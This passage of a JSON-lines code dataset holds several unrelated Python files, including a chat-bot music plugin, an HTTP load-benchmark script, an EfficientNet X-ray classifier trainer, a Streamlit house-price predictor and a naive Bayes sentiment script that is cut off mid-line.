len(hinted_secrets)\n if n_good == n_hs:\n print(\"All %d (hint,secret) pairs are good\" % n_hs)\n else:\n print(\"%d of %d (hint,secret) pairs are bad\" % (n_hs - n_good, n_hs))\n sys.exit(1)\n\nif __name__ == '__main__':\n main()\n\n \n","sub_path":"server/webserver/secgen.py","file_name":"secgen.py","file_ext":"py","file_size_in_byte":2992,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"621240951","text":"from core.advbase import *\n\ndef module():\n return Dragonyule_Cleo\n\nclass Dragonyule_Cleo(Adv):\n conf = {}\n conf['slots.d'] = 'Gaibhne_and_Creidhne'\n conf['acl'] = \"\"\"\n `dragon(c3-s-end)\n `s1\n `s4\n `s3, cancel\n `s2, cancel\n `fs, xf=4\n \"\"\"\n conf['coabs'] = ['Blade', 'Xander', 'Summer_Estelle']\n conf['share'] = ['Gala_Elisanne', 'Eugene']\n\n\nif __name__ == '__main__':\n from core.simulate import test_with_argv\n test_with_argv(None, *sys.argv)\n","sub_path":"adv/dragonyule_cleo.py","file_name":"dragonyule_cleo.py","file_ext":"py","file_size_in_byte":511,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"277660260","text":"#\n# Copyright (c) 2011 Matthew Behrens \n#\n# Permission is hereby granted, free of charge, to any person obtaining\n# a copy of this software and associated documentation files (the\n# \"Software\"), to deal in the Software without restriction, including\n# without limitation the rights to use, copy, modify, merge, publish,\n# distribute, sublicense, and/or sell copies of the Software, and to\n# permit persons to whom the Software is furnished to do so, subject to\n# the following conditions:\n#\n# The above copyright notice and this permission notice shall be\n# included in all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE\n# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION\n# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION\n# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n#\n\nimport traceback\nimport re\nfrom appscript import *\n\nfrom plugins import CampyPlugin\nfrom campy import settings\n\nclass Music(CampyPlugin):\n def send_help(self, campfire, room, message, speaker):\n help_text = (\"\"\"%s: Here is your help for the music control plugin:\n music current -- get current track info\n music next -- skip to next track\n music previous -- skip to previous track\n music pause -- pause all music\n music play [itunes|spotify] -- start playing from a specific music player\"\"\"\n % speaker['user']['name'])\n room.paste(help_text)\n\n def handle_message(self, campfire, room, message, speaker):\n body = message['body']\n if not body or not body.startswith(settings.CAMPFIRE_BOT_NAME):\n return\n\n patt = '%s: music (?P.*)$' % settings.CAMPFIRE_BOT_NAME\n m = re.match(patt, body)\n if m:\n try:\n command = m.groupdict().get('command')\n itunes = app('iTunes')\n spotify = app('Spotify')\n if itunes.player_state.get() == k.playing:\n player = itunes\n elif spotify.player_state.get() == k.playing:\n player = spotify\n elif command == 'play itunes':\n itunes.play()\n elif command == 'play spotify':\n spotify.play()\n else:\n room.speak('Nothing is playing right now, sorry :(')\n return\n\n if command == 'next':\n player.next_track()\n elif command == 'previous':\n # Double up to actually previous, not just restart curren track\n player.previous_track()\n player.previous_track()\n elif command == 'pause':\n player.pause()\n return\n\n self.speak_current_track(room, player)\n except (KeyError,):\n room.speak(traceback.format_exc())\n\n def speak_current_track(self, room, player):\n track_name = player.current_track.name.get()\n track_artist = player.current_track.artist.get()\n message = 'Now playing \"%s\" by \"%s\"' % (track_name, track_artist)\n room.speak(message)\n","sub_path":"campy/plugins/music.py","file_name":"music.py","file_ext":"py","file_size_in_byte":3443,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"392987037","text":"import argparse\nimport multiprocessing\nimport random\nimport signal\nimport sys\nimport time\nimport urlparse\n\nimport pycurl\n\nURL_SETS = {\n \"projector\": [\n dict(\n path = \"/projector/\",\n headers = [\n \"X-Requested-With: XMLHttpRequest\",\n ]\n ),\n ],\n \"home\": [\n \"/\",\n \"/jsi18n/\",\n \"/static/styles/base.css\",\n \"/static/javascript/utils.js\",\n \"/static/javascript/jquery.min.js\",\n \"/static/img/logo.png\",\n ],\n \"agenda\": [\n \"/agenda/\",\n \"/static/styles/base.css\",\n \"/static/javascript/utils.js\",\n \"/static/styles/agenda.css\",\n \"/static/javascript/jquery.min.js\",\n \"/jsi18n/\",\n ],\n \"application\": [\n \"/application/\",\n \"/static/styles/base.css\",\n \"/static/javascript/utils.js\",\n \"/static/javascript/jquery.min.js\",\n \"/jsi18n/\",\n ]\n}\n\n\ndef nop_write(data):\n return len(data)\n\nclass Client(object):\n def __init__(self):\n self._c = pycurl.Curl()\n self._c.setopt(pycurl.FAILONERROR, 1)\n self._c.setopt(pycurl.FOLLOWLOCATION, 1)\n self._c.setopt(pycurl.TIMEOUT, 10)\n self._c.setopt(pycurl.WRITEFUNCTION, nop_write)\n self._c.setopt(pycurl.AUTOREFERER, 1)\n\n\n def request(self, r):\n if isinstance(r, basestring):\n self._c.setopt(pycurl.URL, r)\n else:\n self._c.setopt(pycurl.URL, r[\"url\"])\n self._c.setopt(pycurl.HTTPHEADER, r[\"headers\"])\n\n try:\n self._c.perform()\n except pycurl.error as e:\n return False\n return True\n\n\ndef request_loop(pause, repeat, urls, should_quit):\n c = Client()\n\n requests, errors = 0, 0\n max_time = 0\n sum_time = 0\n\n urls = list(urls)\n random.shuffle(urls)\n\n for x in xrange(repeat):\n if should_quit.value:\n break\n if pause:\n time.sleep(pause)\n for url in urls:\n if should_quit.value:\n break\n\n requests += 1\n t0 = time.time()\n if not c.request(url):\n errors += 1\n t1 = time.time()\n\n dt = t1 - t0\n sum_time += dt\n if dt > max_time:\n max_time = dt\n\n return requests, errors, max_time, sum_time\n\n\ndef worker(params, should_quit, lock):\n signal.signal(signal.SIGINT, signal.SIG_IGN)\n\n opts = params[\"opts\"]\n\n pause = opts.pause / 1000.0\n res = request_loop(pause, opts.repeat, params[\"urls\"], should_quit)\n with lock:\n params[\"requests\"].value += res[0]\n params[\"errors\"].value += res[1]\n params[\"max_request_time\"].value = max((res[2], params[\"max_request_time\"].value))\n params[\"sum_request_time\"].value += res[3]\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-d\", \"--delay\", type = int, default = 100)\n parser.add_argument(\"-j\", \"--jobs\", type = int, default = 10)\n parser.add_argument(\"-p\", \"--pause\", type = int, default = 500)\n parser.add_argument(\"-r\", \"--repeat\", type = int, default = 100)\n parser.add_argument(\"-s\", \"--url-set\", choices = list(URL_SETS),\n default = \"projector\")\n parser.add_argument(\"base_url\")\n\n opts = parser.parse_args()\n\n base_url = opts.base_url\n urls = []\n for u in URL_SETS[opts.url_set]:\n if isinstance(u, basestring):\n u = urlparse.urljoin(base_url, u)\n else:\n u[\"url\"] = urlparse.urljoin(base_url, u[\"path\"])\n urls.append(u)\n\n data = dict(\n opts = opts,\n urls = urls,\n\n requests = multiprocessing.Value(\"i\", 0),\n errors = multiprocessing.Value(\"i\", 0),\n max_request_time = multiprocessing.Value(\"d\", 0),\n sum_request_time = multiprocessing.Value(\"d\", 0),\n )\n\n lock = multiprocessing.Lock()\n quit = multiprocessing.Value(\"i\", 0)\n\n t0 = time.time()\n\n workers = []\n for job in xrange(opts.jobs):\n p = multiprocessing.Process(target = worker,\n args = (data, quit, lock))\n p.daemon = True\n p.start()\n workers.append(p)\n\n # spread out the start of each worker a bit\n delay = opts.delay\n if delay != 0:\n if delay < 0:\n time.sleep(random.randint(0, -delay) / 1000.0)\n else:\n time.sleep(delay / 1000.0)\n\n try:\n for p in workers:\n p.join()\n except KeyboardInterrupt:\n quit.value = 1\n for p in workers:\n p.join()\n\n t1 = time.time()\n\n data[\"total_time\"] = t1 - t0\n data[\"avg_request_time\"] = data[\"sum_request_time\"].value / data[\"requests\"].value\n print(\"Total Requests: {requests.value}\\n\"\n \"Errors: {errors.value}\\n\"\n \"Jobs: {opts.jobs}\\n\"\n \"Time: {total_time:.1f}s\\n\"\n \"Max time per request: {max_request_time.value:.4f}s\\n\"\n \"Avg time per request: {avg_request_time:.4f}s\\n\".format(**data))\n\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"extras/benchmark/bench.py","file_name":"bench.py","file_ext":"py","file_size_in_byte":5029,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"445223712","text":"# Copyright (c) Facebook, Inc. and its affiliates.\n# All rights reserved.\n#\n# This source code is licensed under the license found in the\n# LICENSE file in the root directory of this source tree.\n#\nimport os\nimport os.path as osp\nfrom typing import Optional\nimport torch\nimport torch.distributed\nimport torch.nn as nn\nimport torch.optim as optim\nimport attr\nimport numpy as np\nfrom .config import TrainerConfig, ClusterConfig\nfrom .transforms import get_transforms\nfrom .samplers import RASampler\nimport timm\n#import tqdm\nfrom sklearn.metrics import cohen_kappa_score\nimport csv\nfrom .dataset import MURA_Dataset\nimport cv2\n\n\ndef conv_numpy_tensor(output):\n \"\"\"Convert CUDA Tensor to numpy element\"\"\"\n return output.data.cpu().numpy()\n\n@attr.s(auto_attribs=True)\nclass TrainerState:\n \"\"\"\n Contains the state of the Trainer.\n It can be saved to checkpoint the training and loaded to resume it.\n \"\"\"\n\n epoch: int\n accuracy:float\n model: nn.Module\n optimizer: optim.Optimizer\n lr_scheduler: torch.optim.lr_scheduler._LRScheduler\n\n def save(self, filename: str) -> None:\n data = attr.asdict(self)\n # store only the state dict\n data[\"model\"] = self.model.state_dict()\n data[\"optimizer\"] = self.optimizer.state_dict()\n data[\"lr_scheduler\"] = self.lr_scheduler.state_dict()\n data[\"accuracy\"] = self.accuracy\n torch.save(data, filename)\n\n @classmethod\n def load(cls, filename: str, default: \"TrainerState\") -> \"TrainerState\":\n data = torch.load(filename)\n # We need this default to load the state dict\n model = default.model\n model.load_state_dict(data[\"model\"])\n data[\"model\"] = model\n\n optimizer = default.optimizer\n optimizer.load_state_dict(data[\"optimizer\"])\n data[\"optimizer\"] = optimizer\n\n lr_scheduler = default.lr_scheduler\n lr_scheduler.load_state_dict(data[\"lr_scheduler\"])\n data[\"lr_scheduler\"] = lr_scheduler\n return cls(**data)\n\n\nclass Trainer:\n def __init__(self, train_cfg: TrainerConfig, cluster_cfg: ClusterConfig) -> None:\n self._train_cfg = train_cfg\n self._cluster_cfg = cluster_cfg\n\n def __call__(self) -> Optional[float]:\n \"\"\"\n Called for each task.\n\n :return: The master task return the final accuracy of the model.\n \"\"\"\n self._setup_process_group()\n self._init_state()\n final_acc = self._train()\n return final_acc\n\n def __eval__(self) -> Optional[float]:\n \"\"\"\n Called for each task.\n\n :return: The master task return the final accuracy of the model.\n \"\"\"\n self._setup_process_group()\n #self._init_state()\n self._init_state_test()\n final_acc = self._test()\n return final_acc\n\n def __show__(self) -> Optional[float]:\n \"\"\"\n Called for each task.\n\n :return: The master task return the final accuracy of the model.\n \"\"\"\n self._setup_process_group()\n self._show()\n\n\n def checkpoint(self, rm_init=True):\n save_dir = osp.join(self._train_cfg.save_folder, str(self._train_cfg.job_id))\n os.makedirs(save_dir, exist_ok=True)\n self._state.save(osp.join(save_dir, \"checkpoint.pth\"))\n self._state.save(osp.join(save_dir, \"checkpoint_\"+str(self._state.epoch)+\".pth\"))\n if rm_init:\n os.remove(self._cluster_cfg.dist_url[7:]) \n empty_trainer = Trainer(self._train_cfg, self._cluster_cfg)\n return empty_trainer\n\n def _setup_process_group(self) -> None:\n self.device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\n def _init_state_test(self) -> None:\n \"\"\"\n Initialize the state and load it from an existing checkpoint if any\n \"\"\"\n torch.manual_seed(0)\n np.random.seed(0)\n\n Input_size_Image = self._train_cfg.input_size\n\n # Test_size=Input_size_Image\n print(\"Input size : \" + str(Input_size_Image))\n print(\"Test size : \" + str(Input_size_Image))\n print(\"Initial LR :\" + str(self._train_cfg.lr))\n print(\"Create data loaders\", flush=True)\n\n test_set = MURA_Dataset(self._train_cfg.data_root, self._train_cfg.data_root + self._train_cfg.test_image_paths\n , input_size=self._train_cfg.input_size, part=self._train_cfg.mura_part, train=False,\n test=False)\n\n self._test_loader = torch.utils.data.DataLoader(\n test_set, batch_size=self._train_cfg.batch_per_gpu, shuffle=False,\n num_workers=(self._train_cfg.workers - 1), # sampler=test_sampler, Attention je le met pas pour l instant\n )\n\n model = timm.create_model('efficientnet_b7', pretrained=False)\n # model = models.resnet152(pretrained=False)\n num_ftrs = model.classifier.in_features\n model.classifier = nn.Linear(num_ftrs, 2)\n\n if torch.cuda.device_count() > 1:\n model = nn.DataParallel(model)\n model.to(self.device)\n\n optimizer = optim.Adam(model.parameters(), lr=self._train_cfg.lr, weight_decay=1e-5)\n lr_scheduler = optim.lr_scheduler.StepLR(optimizer, step_size=30000)\n\n self._state = TrainerState(\n epoch=0, accuracy=0.0, model=model, optimizer=optimizer, lr_scheduler=lr_scheduler\n )\n\n checkpoint_fn = osp.join(self._train_cfg.save_folder, str(self._train_cfg.job_id), \"checkpoint_{0}.pth\".format(str(self._train_cfg.load_epoch)))\n if os.path.isfile(checkpoint_fn):\n print(f\"Load existing checkpoint from {checkpoint_fn}\", flush=True)\n self._state = TrainerState.load(checkpoint_fn, default=self._state)\n print(\"model_load\")\n\n def _init_state(self) -> None:\n \"\"\"\n Initialize the state and load it from an existing checkpoint if any\n \"\"\"\n torch.manual_seed(0)\n np.random.seed(0)\n Input_size_Image=self._train_cfg.input_size\n \n #Test_size=Input_size_Image\n print(\"Input size : \"+str(Input_size_Image))\n print(\"Test size : \"+str(Input_size_Image))\n print(\"Initial LR :\"+str(self._train_cfg.lr))\n\n print(\"Create data loaders\", flush=True)\n train_set = MURA_Dataset(self._train_cfg.data_root, self._train_cfg.data_root + self._train_cfg.train_image_paths\n ,input_size = self._train_cfg.input_size , part=self._train_cfg.mura_part, train=True, test=False)\n\n self._train_loader = torch.utils.data.DataLoader(\n train_set,\n batch_size=self._train_cfg.batch_per_gpu,\n num_workers=(self._train_cfg.workers-1),\n shuffle=True\n #sampler=train_sampler,\n )\n\n test_set = MURA_Dataset(self._train_cfg.data_root, self._train_cfg.data_root + self._train_cfg.test_image_paths\n , input_size = self._train_cfg.input_size, part=self._train_cfg.mura_part, train=False, test=False )\n\n self._test_loader = torch.utils.data.DataLoader(\n test_set, batch_size=self._train_cfg.batch_per_gpu, shuffle=False, num_workers=(self._train_cfg.workers-1),#sampler=test_sampler, Attention je le met pas pour l instant\n )\n\n model = timm.create_model('efficientnet_b7', pretrained=False)\n #model = models.resnet152(pretrained=False)\n num_ftrs = model.classifier.in_features\n model.classifier = nn.Linear(num_ftrs, 2)\n\n if torch.cuda.device_count() > 1:\n model = nn.DataParallel(model)\n model.to(self.device)\n\n optimizer = optim.Adam(model.parameters(), lr=self._train_cfg.lr, weight_decay=1e-5 )\n lr_scheduler = optim.lr_scheduler.StepLR(optimizer, step_size=30000)\n\n self._state = TrainerState(\n epoch=0,accuracy=0.0, model=model, optimizer=optimizer, lr_scheduler=lr_scheduler\n )\n\n checkpoint_fn = osp.join(self._train_cfg.save_folder, str(self._train_cfg.job_id), \"checkpoint.pth\")\n if os.path.isfile(checkpoint_fn):\n print(f\"Load existing checkpoint from {checkpoint_fn}\", flush=True)\n self._state = TrainerState.load(checkpoint_fn, default=self._state)\n print(\"model_load\")\n\n def _train(self) -> Optional[float]:\n criterion = nn.CrossEntropyLoss()\n print_freq = 10\n acc = None\n max_accuracy=0.0\n # Start from the loaded epoch\n start_epoch = self._state.epoch\n previous_loss = 1e10\n lr = self._train_cfg.lr\n for epoch in range(start_epoch, self._train_cfg.epochs):\n print(f\"Start epoch {epoch}\", flush=True)\n self._state.model.train()\n self._state.lr_scheduler.step(epoch)\n self._state.epoch = epoch\n running_loss = 0.0\n count=0\n current_loss = 0.0\n\n total_step = len(self._train_loader)\n for i, data in enumerate(self._train_loader):\n inputs, labels, _, body_part = data\n\n inputs = inputs.to(self.device)\n labels = labels.to(self.device)\n\n outputs = self._state.model(inputs)\n loss = criterion(outputs, labels)\n\n self._state.optimizer.zero_grad()\n loss.backward()\n self._state.optimizer.step()\n\n running_loss += loss.item()\n count=count+1\n if i % print_freq == print_freq - 1:\n print('Epoch [{0}/{1}], Step [{2}/{3}], Loss: {4:.4f}'\n .format(epoch + 1, self._train_cfg.epochs, i + 1, total_step, running_loss/print_freq))\n running_loss = 0.0\n\n # update learning rate\n if current_loss / count > previous_loss:\n # if val_loss > previous_loss:\n lr = lr * 0.5\n # lr = lr * opt.lr_decay\n # 第二种降低学习率的方法:不会有moment等信息的丢失\n for param_group in self._state.optimizer.param_groups:\n param_group['lr'] = lr # self._train_cfg.lr\n print(\"loss decay {0} , decay factor{1}\".format(lr, 0.5))\n\n # previous_loss = val_loss\n previous_loss = current_loss / count\n current_loss = 0\n count = 0\n\n if epoch%1 == 0 or epoch == 0:\n print(\"Start evaluation of the model\", flush=True)\n correct = 0\n total = 0\n count=0.0\n running_val_loss = 0.0\n self._state.model.eval()\n with torch.no_grad():\n for data in self._test_loader:\n images, labels, _, body_part = data\n\n images = images.to(self.device)\n labels = labels.to(self.device)\n\n outputs = self._state.model(images)\n loss_val = criterion(outputs, labels)\n _, predicted = torch.max(outputs.data, 1)\n total += labels.size(0)\n correct += (predicted == labels).sum().item()\n running_val_loss += loss_val.item()\n count=count+1.0\n\n acc = correct / total\n ls_nm=running_val_loss/count\n\n print('Epoch [{0}/{1}], Step [{2}/{3}], Val Loss: {4:.4f} Val Acc: {5:.2f}'\n .format(epoch + 1, self._train_cfg.epochs, i + 1, total_step, ls_nm, acc))\n\n self._state.accuracy = acc\n max_accuracy=np.max((max_accuracy, acc))\n\n # Save for best accuracy models\n if acc >= max_accuracy :\n print(\"Epoch [{0}/{1}], Save Best Model[accuracy {0}]\".format(epoch + 1, self._train_cfg.epochs, acc))\n self.checkpoint(rm_init=False)\n\n if epoch==self._train_cfg.epochs-1:\n return acc\n\n def _test(self) -> Optional[float]:\n self._state.model.eval()\n print(\"Start evaluation of the model\", flush=True)\n\n correct = 0\n total = 0\n count = 0.0\n results = []\n with torch.no_grad():\n for data in self._test_loader:\n images, labels, _, body_part = data\n\n images = images.to(self.device)\n labels = labels.to(self.device)\n\n outputs = self._state.model(images)\n _, predicted = torch.max(outputs.data, 1)\n total += labels.size(0)\n correct += (predicted == labels).sum().item()\n\n count = count + 1.0\n\n batch_results = [(labels_, predicted_, body_part_) for labels_, predicted_, body_part_ in zip(labels.cpu().numpy(), predicted.cpu().numpy(), body_part)]\n results += batch_results\n\n acc = correct / total\n np_result = np.array(results)\n kappa_score = cohen_kappa_score(np_result[:,0], np_result[:,1])\n\n print(\"All cohen kappa\", kappa_score)\n if self._train_cfg.mura_part == 'all':\n XR_type_list = ['XR_ELBOW', 'XR_FINGER', 'XR_FOREARM', 'XR_HAND', 'XR_HUMERUS', 'XR_SHOULDER', 'XR_WRIST']\n else:\n XR_type_list = [self._train_cfg.mura_part]\n for xr_type in XR_type_list:\n xr_type_correct = 0\n xr_type_result = np_result[np.where(np_result[:, 2] == xr_type)][:,0:2]\n xr_type_correct += (xr_type_result[:, 0] == xr_type_result[:, 1]).sum().item()\n xr_type_cohen_kappa = cohen_kappa_score(xr_type_result[:, 0], xr_type_result[:, 1])\n print('cohen_kappa {0} : {1:.2f}'.format(xr_type,xr_type_cohen_kappa ))\n print('ACC {0} : {1:.2f}'.format(xr_type,xr_type_correct/xr_type_result.shape[0] ))\n\n print(f\"Accuracy of the network on the 50000 test images: {acc:.1%}\", flush=True)\n self._state.accuracy = acc\n return acc\n\n def _show(self) -> Optional[float]:\n\n print(\"Create data loaders\", flush=True)\n train_set = MURA_Dataset(self._train_cfg.data_root,\n self._train_cfg.data_root + self._train_cfg.train_image_paths\n , input_size=self._train_cfg.input_size, part=self._train_cfg.mura_part, train=True,\n test=False)\n\n self._train_loader = torch.utils.data.DataLoader(\n train_set,\n batch_size=self._train_cfg.batch_per_gpu,\n num_workers=(self._train_cfg.workers - 1),\n shuffle=True\n # sampler=train_sampler,\n )\n\n test_set = MURA_Dataset(self._train_cfg.data_root, self._train_cfg.data_root + self._train_cfg.test_image_paths\n , input_size=self._train_cfg.input_size, part=self._train_cfg.mura_part, train=False,\n test=False)\n\n self._test_loader = torch.utils.data.DataLoader(\n test_set, batch_size=self._train_cfg.batch_per_gpu, shuffle=False,\n num_workers=(self._train_cfg.workers - 1), # sampler=test_sampler, Attention je le met pas pour l instant\n )\n\n for i, data in enumerate(self._train_loader):\n inputs, labels, _, body_part = data\n\n inputs = inputs.to(self.device)\n labels = labels.to(self.device)\n for i in range(inputs.shape[0]):\n img_data = inputs.cpu().numpy()[i]\n img_data = np.transpose(img_data, (1,2,0))\n #img_data = cv2.cvtColor(img_data, cv2.COLOR_BGR2RGB)\n cv2.imshow('image', img_data)\n cv2.waitKey(0)\n cv2.destroyAllWindows()\n","sub_path":"effib7_scrach/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":15785,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"478153380","text":"from PIL import Image\nimport os\nimport streamlit as st\nimport pandas as pd\nimport pickle\n\ncur_path = os.path.dirname(__file__)\nasset_path = os.path.join(cur_path,'assets')\n\nst.set_page_config(layout=\"wide\")\nmain_col,stat_col = st.columns(2)\n\nmain_col.write(\"\"\"\n# House Price Prediction App\nThis app predicts the housing prices for the five boroughs of New York\n\"\"\")\nmain_col.write('---')\n\nst.sidebar.header('Specify Input Parameters')\nboroughs = os.listdir(asset_path)\nboroughs.remove('.git')\ndef get_borough():\n return st.sidebar.selectbox('Borough',boroughs)\n\nborough_path = os.path.join(asset_path,get_borough())\n\nfiles = {}\nnames = os.listdir(borough_path)\nfor name in names:\n if '.pickle' in name:\n file_path = os.path.join(borough_path,name)\n with open(file_path,'rb') as f:\n name = name.replace('.pickle','')\n files[name] = pickle.load(f)\n continue\n if '.png' in name:\n file_path = os.path.join(borough_path,name)\n name = name.replace('.png','')\n files[name] = Image.open(file_path)\n\ndef user_input_features(df):\n input_data = {}\n\n qual_df = df.select_dtypes(exclude='number')\n quant_df = df.select_dtypes(include='number')\n\n for col in qual_df:\n input_data[col] = st.sidebar.selectbox(col,qual_df[col].unique().tolist())\n for col in quant_df:\n input_data[col] = st.sidebar.text_input(col,quant_df[col].iloc[0])\n\n for col in files['placeholder'].columns:\n n = 'NEIGHBORHOOD_'\n n_test = n + input_data['NEIGHBORHOOD']\n bc = 'BUILDING CLASS AT PRESENT_'\n bc_test = bc + input_data['BUILDING CLASS AT PRESENT']\n tc = 'TAX CLASS AT PRESENT_'\n tc_test = tc + input_data['TAX CLASS AT PRESENT']\n if col == n_test or col == bc_test or col ==tc_test:\n files['placeholder'][col].values[:] = 1\n for col in quant_df:\n files['placeholder'][col].values[:] = input_data[col]\n\n normal_df = pd.DataFrame(input_data,index=[0])\n return normal_df\n\ndisplay_df = user_input_features(files['clean_dropped'])\nprediction = files['regressor'].predict(files['placeholder'])\n\nmain_col.header('Specified Input Parameters')\nmain_col.dataframe(display_df)\n\nmain_col.header('Predict House Price')\nmain_col.write(prediction[0])\n\nmain_col.metric(label='Adjusted R Squared',value = files['stats']['R_squared'])\nmain_col.metric(label='MSE',value = files['stats']['MSE'])\nmain_col.metric(label='RMSE',value = files['stats']['RMSE'])\nmain_col.metric(label='MAE',value = files['stats']['MAE'])\n\nstat_col.header('Feature Importance')\nstat_col.image(files['SHAP'])\n\nstat_col.header('Feature Importance ( Bar )')\nstat_col.image(files['SHAP_BAR'])\n\nstat_col.header('Residual Plot')\nstat_col.image(files['ResidualsPlot'])\n\nfooter=\"\"\"\n
\n

Developed by Douglas ChenMonkeyDoug

\n
\n\"\"\"\nst.markdown(footer,unsafe_allow_html=True)\n","sub_path":"housing_regression/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3363,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"194492002","text":"years_str = input(\"Years: \") # do not change this line\r\nyears_int = int(years_str)\r\nsecs_in_year = 31536000\r\nseconds_total = secs_in_year * years_int\r\ncurrent_population = 307357870\r\nbirth = seconds_total // 7\r\ndeath = seconds_total // 13\r\nimmigrant = seconds_total // 35\r\nnew_population = current_population - death + birth + immigrant\r\nprint(\"New population after\", years_int, \" years is \", int(new_population)) # do not change this line\r\n\r\n","sub_path":"Assignment1/7.py","file_name":"7.py","file_ext":"py","file_size_in_byte":443,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"554599613","text":"# -*- coding: utf-8 -*-\n# __author__ = 'XingHuan'\n# 9/1/2018\n\n# Copyright 2018 XingHuan\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\nimport os\nfrom sins.utils.res import resource\nfrom .round_label import RoundLabel\n\nUSER_ICON_SIZE = 30\n\n\nclass UserIconLabel(RoundLabel):\n def __init__(self,\n icon=None,\n user=None,\n icon_size=USER_ICON_SIZE,\n icon_shape='round',\n *args, **kwargs):\n super(UserIconLabel, self).__init__(*args, **kwargs)\n\n icon_size = max(icon_size, USER_ICON_SIZE)\n\n self.setFixedSize(icon_size, icon_size)\n self.icon_size = icon_size\n self.icon_shape = icon_shape\n\n if user is not None:\n self.set_user(user)\n elif icon is not None:\n self.set_icon(icon)\n\n def set_user(self, user):\n icon = resource.get_pic('icon', 'User1.png')\n if user is not None:\n if hasattr(user, 'thumbnail'):\n user_thumbnail = user.thumbnail\n if user_thumbnail is not None and os.path.exists(user_thumbnail.host_path):\n icon = user_thumbnail.host_path\n self.set_icon(icon)\n\n def set_icon(self, icon):\n self.setPixmap(resource.get_pixmap(icon,\n scale=self.icon_size,\n aspect='expand'))\n\n def update_path(self, path):\n if self.icon_shape == 'round':\n super(UserIconLabel, self).update_path(path)\n elif self.icon_shape == 'roundrect':\n path.addRoundedRect(0, 0, self.width(), self.height(), 5, 5)\n\n","sub_path":"sins/ui/widgets/label/user_icon.py","file_name":"user_icon.py","file_ext":"py","file_size_in_byte":2158,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"603850673","text":"from envs.race_strategy_full import RaceModel\nimport numpy as np\nimport time\n\nmdp = RaceModel(verbose=False, n_cores=6)\n_ = mdp.reset()\nret = 0\nlap = 1\n\nstart = time.time()\nwhile True:\n agent = mdp.get_next_agent()\n #print(\"Lap {}, agent {}\".format(lap, agent))\n a = np.random.choice([0, 1, 2, 3])\n s, r, done, _ = mdp.partial_step(a, agent)\n #print(\"Reward:\" + str(r))\n #mdp.set_signature(mdp.get_signature())\n ret += r\n if mdp.has_transitioned():\n lap += 1\n now = time.time()\n milliseconds = now-start\n print(\"----------------------------------\")\n print(\"full step time:\", milliseconds)\n start = time.time()\n if done:\n print(\"Return:\", ret)\n # print(\"Race Time:\", mdp.time)\n break\n","sub_path":"test_racestrategy_environment.py","file_name":"test_racestrategy_environment.py","file_ext":"py","file_size_in_byte":773,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"298041934","text":"import numpy as np\nfrom sklearn.naive_bayes import MultinomialNB\nfrom sklearn import metrics\nfrom sklearn.decomposition import NMF\nimport datetime\nimport matplotlib.pyplot as plt\n\nif __name__ == \"__main__\":\n startTime = datetime.datetime.now()\n\n # Load training data\n x = np.load('data/train_w2v_data_array.npy')\n y = np.load('data/train_w2v_target_array.npy')\n y = y.astype('int')\n y = y.flatten()\n\n # Load test data\n z = np.load('data/test_w2v_data_array.npy')\n t = np.load('data/test_w2v_target_array.npy')\n t = t.astype('int')\n t = t.flatten()\n \n #Remove -ve values and scale all values by smallest -ve value in array\n\n xmin = np.amin(x)\n zmin = np.amin(z)\n scale_min = min(xmin, zmin) * -1\n\n x = np.add(x, scale_min)\n z = np.add(z, scale_min)\n\n # x = x + 11.573273289802543\n # z = z + 16.698667840828804\n \n \n # Predict using Naive Bayes Model\n clf = MultinomialNB(alpha=1)\n clf.fit(x, y)\n p = clf.predict(z)\n \n\n # Compute training time\n endTime = datetime.datetime.now() - startTime\n print(\"Total time taken to train: \", endTime)\n print(\"\\n\")\n\n print(\"W2V Multinomial Naive Bayes\")\n\n # Compute accuracy\n accuracy = metrics.accuracy_score(t, p, normalize=False)\n print(\"Accuracy: \", (accuracy / len(t)) * 100)\n\n # Confusion matrix\n confusion_matrix = metrics.confusion_matrix(t, p)\n print(\"Confusion Matrix:\\n\", confusion_matrix)\n\n # Replace 4s with 1s\n t[np.where(t == 4)] = 1\n p[np.where(p == 4)] = 1\n\n y_scores = clf.predict_proba(z)\n\n # Plot the Precision-Recall curve\n precision, recall, _ = metrics.precision_recall_curve(t, y_scores[:, 1])\n plt.step(recall, precision, color='b', alpha=0.2, where='post')\n plt.fill_between(recall, precision, step='post', alpha=0.2, color='b')\n plt.xlabel('Recall')\n plt.ylabel('Precision')\n plt.ylim([0.0, 1.05])\n plt.xlim([0.0, 